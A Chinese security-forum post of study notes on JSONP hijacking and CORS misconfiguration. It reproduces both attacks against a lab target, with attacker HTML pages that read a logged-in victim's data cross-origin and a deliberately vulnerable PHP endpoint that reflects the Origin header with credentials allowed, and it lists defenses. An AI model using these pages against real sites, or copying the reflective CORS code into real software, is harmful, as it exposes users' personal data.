安全矩阵

 找回密码
 立即注册
搜索
查看: 2757|回复: 0

JSONP和CORS跨域漏洞学习笔记

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-9 09:03:20 | 显示全部楼层 |阅读模式
原文链接:JSONP和CORS跨域漏洞学习笔记

1
同源策略
1、什么是同源策略
两个地址的协议域名端口都一样则为同源。


2、为什么需要使用同源策略
(1)同源策略是浏览器行为,拦截的是客户端发出去的请求,该请求返回的信息,也就是请求发出去了,服务器响应了,但是无法被浏览器接收。
(2)同源策略只存在于浏览器端,服务器访问服务器不存在跨域问题。
不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。只有同一个源的脚本才可以赋予dom、读写cookie、session、ajax等操作的权限,例如a.com可以随意调用b.com的接口去修改数据。
3、同源策略会受到哪些限制
  •         无法获取Cookie、LocalStorage、IndexDB
  •         无法获取DOM
  •         AJAX请求不能发送

<img/>
<link/>
<script/>以上三个标签可以允许跨域加载资源。2
Jsonp跨域劫持与个人理解
1、什么是Jsonp
利用标签元素,网页可以得到从其他来源动态产生的JSON资料,这种模式就是所谓的Jsonp,用Jsonp抓到的资料并不是Json,而是任意的JavaScript。
Jsonp跨域的原理本质就是利用的标签有跨域的属性。
2、Jsonp跨域测试
在不同源的情况下:
这里没有使用本地搭建两个不同的端口来访问html服务,而是使用douban的网址来测试。

同源的情况下:

  1. <!-- 以上同源与不同源的测试代码 -->
  2. <!DOCTYPE html>
  3. <html lang="en">
  4. <head>
  5.     <meta charset="UTF-8">
  6.     <title>ajax</title>
  7.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. </head>
  9. <body>
  10.     <div id="mydiv">
  11.         <button id="btn">点击</button>
  12.     </div>
  13. </body>
  14. <script type="text/javascript">
  15.     window.onload = function() {

  16.     var oBtn = document.getElementById('btn');

  17.     oBtn.onclick = function() {

  18.         var xhr = new XMLHttpRequest();

  19.         xhr.onreadystatechange = function() {
  20.             if (xhr.readyState == 4 && xhr.status == 200) {
  21.                     alert( xhr.responseText );
  22.             }
  23.         };

  24.         xhr.open('get', 'http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test', true);
  25.         xhr.send();
  26.     };

  27. };
  28. </script>
  29. </html>
复制代码


跨域访问:

JSONP实现跨域请求的原理简单的说,就是动态创建<script>标签,然后利用<script>的src 不受同源策略约束来跨域获取数据。
JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。
动态创建<script>标签,设置其src,回调函数在src中设置。
  1. var script = document.createElement("script");
  2. script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
  3. document.body.insertBefore(script, document.body.firstChild);
复制代码

在页面中,返回的JSON作为参数传入回调函数中,我们通过回调函数来来操作数据。
  1. function handleResponse(response){
  2.     // 对response数据进行操作代码
  3. }
复制代码


完整代码:
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <title>JSONP实现跨域2</title>
  6. </head>
  7. <body>
  8.     <div id="mydiv">
  9.         <button id="btn">点击</button>
  10.     </div>
  11. </body>
  12. <script type="text/javascript">
  13.     function handleResponse(response){
  14.             console.log(response);
  15.     }
  16. </script>
  17. <script type="text/javascript">
  18.     window.onload = function() {

  19.     var oBtn = document.getElementById('btn');

  20.     oBtn.onclick = function() {   

  21.         var script = document.createElement("script");
  22.         script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
  23.         document.body.insertBefore(script, document.body.firstChild);  
  24.     };
  25. };
  26. </script>
  27. </html>
复制代码

3、Jsonp劫持漏洞复现

漏洞页面为:

攻击页面:
​​
  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>JSONP劫持测试</title>
  5. </head>
  6. <body>
  7. <script type="text/javascript">
  8. function vulkey(data){alert(JSON.stringify(data));}</script>

  9. <script src="http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=vulkey"></script>
  10. </body>
  11. </html>
复制代码
受害者点击页面:

4、跨域劫持的个人理解
其实网上的文章复现对这里并没有说的很清楚,照着复现演示看上去也比较模糊,大概的意思我理解的是漏洞页面(http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test)要获取这些数据,是需要登录的,受害者登录后,又访问了攻击者给的漏洞劫持复现链接(http://10.200.70.27:8081/exp.html),就造成了攻击者可以获取这些数据。
同源策略规定,不同的源是不可以获取cookie这些的,很显然,用户登录后的cookie,不同源是不可以获取的,这里通过标签属性的特性,获取到了不同源用户的Cookie。
5、Json劫持防御
(1)验证Referer
(2)增加随机的Token进行验证
3
CORS跨域劫持与个人理解
在phpstudy中开启,删掉前面的#号并在配置文件的最开头配置header然后重启服务。
这一步不是必须设置,通过复现测试发现,如果php中写了,这里好像可以不用设置。
#LoadModule headers_module modules/mod_headers.so


1、cors跨域实现流程
  1. Header set Access-Control-Allow-Origin *
  2. Header set Access-Control-Allow-Credential *
  3. Header set Access-Control-Expose-Headers *
复制代码
  •         服务器支持配置CORS,默认认可所有域都可以访问
  •         浏览器客户端把所在的域填充到Origin发送跨域请求
  •         服务器根据资源权限配置,在响应头中添加Access-Control-Allow-Origin Header,返回结果
  •         浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面

2、如何判断是否存在跨域
请求头存在origin参数且可控(不存在可自行添加不影响结果)。
响应头存在下面两个:
  •         Access-Control-Allow-Orighin:指定哪些域可以访问域资源
  •         Access-Control-Allow-Credentials:指定浏览器是否存将使用请求发送cookie,仅当allow-credentials标头设置为true时,才会发送cookie

Burp重放:

如何判断是否存在跨域攻击,可以在请求头中添加一个源,看看是否可控。
Origin:http://www.baidu.com

模拟受害者点击:

  1. <html>
  2. <head>
  3.     <script type="text/javascript">
  4.         window.onload = function cors() {
  5.         var xhttp = new XMLHttpRequest();
  6.         xhttp.onreadystatechange = function() {
  7.         if (this.readyState == 4 && this.status == 200) {
  8.         document.getElementById("demo").innerHTML =
  9.         alert(this.responseText);
  10.         }
  11.         };
  12.         xhttp.open("GET", "http://10.200.70.27/vul/DoraBox/csrf/userinfo.php", true);
  13.         xhttp.send();
  14.         }
  15. </script>
  16. </head>
  17. <body>
  18.     <textarea id="demo"></textarea>
  19. </body>
  20. </html>
复制代码

3、漏洞页面代码分析
  1. <?php
  2.     if (@$_SERVER['HTTP_ORIGIN']){
  3.         header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
  4.     }else{
  5.         header("Access-Control-Allow-Origin: *");
  6.     }
  7.     header("Access-Control-Allow-Headers: X-Requested-With");
  8.     header("Access-Control-Allow-Credentials: true");
  9.     header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");

  10.     $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
  11.     echo json_encode($info);
  12. ?>
复制代码

首先你判断是否请求头里面是否有Origin如果有,就讲header设置为(Access-Control-Allow-Origin: "传进来的Origin")如果没有就设置为*,在设置不同的header,最后echo json。把这些header删掉,就会触发同源策略,就无法获得想要的json信息。

删掉后还是正常输出json内容:

但是使用不同域模拟受害者点击的时候就会提示:

4、Cors跨域的个人理解
同源策略不允许其他的源访问,所以如果错误的配置了Access-Control-Allow-Origin,导致攻击者可以控制这个Origin的话,就会导致我只需要指定当前访问地址的源即可。
如果使用Access-Control-Allow-Origin来处理跨域的话,如果没有传入Origin参数,那么就会使用默认的值,这个默认的值浏览器会将当前的host传进去,所以在请求中可以看到返回包里面Origin是当前的host。


5、Cors防御思路
  •         白名单
  •         规范化正则表达式
  •         只允许安全的协议如https
  •         避免使用Access-Control-Allow-Credentials为True
  •         使用框架的时候注意查看相关文档的用法,根据上面规则进行更正。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:40 , Processed in 0.015757 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表